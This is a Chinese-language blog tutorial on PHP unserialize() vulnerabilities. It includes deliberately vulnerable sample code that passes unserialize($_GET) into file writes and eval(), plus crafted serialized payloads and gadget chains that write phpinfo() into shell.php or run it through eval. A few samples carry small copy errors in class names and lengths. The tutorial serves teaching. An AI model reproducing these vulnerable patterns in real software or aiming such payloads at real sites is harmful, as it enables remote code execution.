zoukankan      html  css  js  c++  java
  • 5. 通过PHP反序列化进行远程代码执行

    php序列化与反序列化

    最近准备复现一下ecshop2.x,3.x的注入漏洞,其中涉及到了php反序列化的问题,由于之前太小白

    ,导致粗心大意,所以此对php反序列化漏洞进行更详细的分析。

    提起php序列化与反序列化不得不说两个函数是:serialize()unserialize()

    serialize()

    当在php中创建了一个对象后,可以通过serialize()把这个对象转变成一个字符串,保存对象的值方便之后的传递与使用。测试代码如下:

    <?php
    class bmjoker{
        var $test = '123';
    }
    $class1 = new bmjoker;
    $class1_ser = serialize($class1);
    print_r($class1_ser);
    ?>

    这边我们创建了一个新的对象,并且将其序列化后的结果打印出来:

    O:7:"bmjoker":1:{s:4:"test";s:3:"123";}

    unserialize()

    与 serialize() 对应的,unserialize()可以从已存储的表示中创建PHP的值,单就本次所关心的环境而言,可以从序列化后的结果中恢复对象(object)。

    <?php
    class bmjoker{
        var $test = '123';
    }
    $class2 = 'O:7:"bmjoker":1:{s:4:"test";s:3:"123";}';    
    print_r($class2); echo
    "</br>"; $class2_unser = unserialize($class2); print_r($class2_ser); ?>

    这边我们把序列化后的结果恢复成为对象,并且将其打印出来:

    O:7:"bmjoker":1:{s:4:"test";s:3:"123";}
    bmjoker Object ( [test] => 123 ) 

    这里提醒一下,当使用 unserialize() 恢复对象时, 将调用 __wakeup() 成员函数。

    反序列化漏洞

    由前面可以看出,当传给 unserialize() 的参数可控时,我们可以通过传入一个精心构造的序列化字符串,从而控制对象内部的变量甚至是函数。

    利用构造函数等

    Magic function

    php中有一类特殊的方法叫“Magic function”, 这里我们着重关注一下几个:

    • 构造函数__construct():当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。
    • 析构函数__destruct():当对象被销毁时会自动调用。
    • __wakeup() :如前所提,unserialize()时会自动调用。

    测试如下:

    <?php
    class bmjoker{
        var $test = '123';
        function __wakeup()
        {
            echo "__wakeup()函数被调用";
            echo "</br>";
        }
        function __construct()
        {
            echo "__construct()函数被调用";
            echo "</br>";
        }
        function __destruct()
        {
            echo "__destruct()函数被调用";
            echo "</br>";
        }
    }
    $class2 = 'O:7:"bmjoker":1:{s:4:"test";s:3:"123";}';
    print_r($class2);
    echo "</br>";
    $class2_unser = unserialize($class2);
    print_r($class2_unser);
    echo "</br>";
    ?>

    我们运行php文件,来证明函数被调用:

    应为没有创建对象,所以构造函数__construct()不会被调用,但是__wakeup()跟__destruct()函数都被调用,如果这些函数里面包含的是恶意代码会怎么样呢?

    利用场景

    __wakeup() 或__destruct()

    由前可以看到,unserialize()后会导致__wakeup() 或__destruct()的直接调用,中间无需其他过程。因此最理想的情况就是一些漏洞/危害代码在__wakeup() 或__destruct()中,从而当我们控制序列化字符串时可以去直接触发它们。这里针对 __wakeup() 场景做个实验。

    基本的思路是,本地搭建好环境,通过 serialize() 得到我们要的序列化字符串,之后再传进去。通过源代码知,把对象中的test值赋为 “<?php phpinfo(); ?>”,再调用unserialize()时会通过__wakeup()把$test的写入到shell.php中。为此我们写个php脚本:

    <?php
    class bmjoker{
        var $test = '123';
        function __wakeup(){
            $fp = fopen("shell.php","w") ;
            fwrite($fp,$this->test);
            fclose($fp);
        }
    }
    $class4 = new bmjoker();
    $class4->test = "<?php phpinfo(); ?>";    
    $class4_ser = serialize($class4);    
    print_r($class4_ser);
    print("<br>");
    $class5_unser = unserialize($class4_ser);
    print_r($class5_unser);
    ?>

    由此得到序列化结果:

    O:7:"chybeta":1:{s:4:"test";s:19:"<?php phpinfo();?>";}

    运行结果:

    我们再来看shell.php:

    成功的利用反序列化漏洞来得到phpinfo()信息

    不过具体的环境多是像下面代码这样,我们的test是我们可控的参数

    <?php
    class bmjoker{
        var $test = '123';
        function __wakeup(){
            $fp = fopen("shell.php","w") ;
            fwrite($fp,$this->test);
            fclose($fp);
        }
    }
    $class3 = $_GET['test'];
    print_r($class3);
    echo "</br>";
    $class3_unser = unserialize($class3);
    require "shell.php";
    // 为显示效果,把这个shell.php包含进来
    ?>

    我们传入参数  test=O:7:"bmjoker":1:{s:4:"test";s:18:"<?php phpinfo();?>";}

    同时shell.php也成功写入:

    成功利用php反序列化漏洞

    其他Magic function的利用

    但如果一次unserialize()中并不会直接调用的魔术函数,比如前面提到的__construct(),是不是就没有利用价值呢?非也。类似于PWN中的ROP,有时候反序列化一个对象时,由它调用的__wakeup()中又去调用了其他的对象,由此可以溯源而上,利用一次次的“gadget”找到漏洞点。

    <?php
    class joker{
        function __construct($test){
            $fp = fopen("shell.php","w") ;
            fwrite($fp,$test);
            fclose($fp);
        }
    }
    class bmjoker{
        var $test = '123';
        function __wakeup(){
            $obj = new joker($this->test);
        }
    }
    $class5 = $_GET['test'];
    print_r($class5);
    echo "</br>";
    $class5_unser = unserialize($class5);
    require "shell.php";
    ?>

    这里我们给test传入构造好的序列化字符串后,进行反序列化时自动调用 __wakeup()函数,从而在new joker()会自动调用对象joker中的__construct()方法,从而把<?php phpinfo();?>写入到shell.php中:

    同样shell.php也成功写入。

    利用普通成员方法

    前面谈到的利用都是基于“自动调用”的magic function。但当漏洞/危险代码存在类的普通方法中,就不能指望通过“自动调用”来达到目的了。这时的利用方法如下,寻找相同的函数名,把敏感函数和类联系在一起。

    <?php
    class lmjoker{
        var $test;
        function __construct() {
            $this->test = new bmjoker();
        }
        function __destruct() {
            $this->test->action();
        }
    }
    class bmjoker{
        function action() {
            echo "bmjoker";
        }
    }
    class cmjoker{
        var $test2;
        function action() {
            eval($this->test2);
        }
    }
    $class6 = new lmjoker();
    unserialize($_GET['test']);
    ?>

    本意上,new一个新的lmjoker对象后,调用__construct(),其中又new了bmjoker对象。在结束后会调用__destruct(),其中会调用action(),从而输出 bmjoker。

     

    下面是利用过程。构造序列化:

    <?php
    class lmjoker{
        var $test;
        function __construct() {
            $this->test = new cmjoker();
        }
    }
    class cmjoker{
        var $test2 = "phpinfo();";
    }
    echo serialize(new lmjoker());
    ?>

    得到:

    O:7:"lmjoker":1:{s:4:"test";O:7:"cmjoker":1:{s:5:"test2";s:10:"phpinfo();";}}

    传给test.php的test参数,利用成功:

    参考链接:
    https://blog.csdn.net/qq_32400847/article/details/53873275

    https://chybeta.github.io/2017/06/17/%E6%B5%85%E8%B0%88php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/

  • 相关阅读:
    数据库操作
    jquery 第一章
    算法很美 第一章
    python 学习第四天
    python学习第三天
    python学习第二天
    学习python的第一天
    C#-线程
    C#-流、存储
    C#-集合
  • 原文地址:https://www.cnblogs.com/bmjoker/p/8889240.html
Copyright © 2011-2022 走看看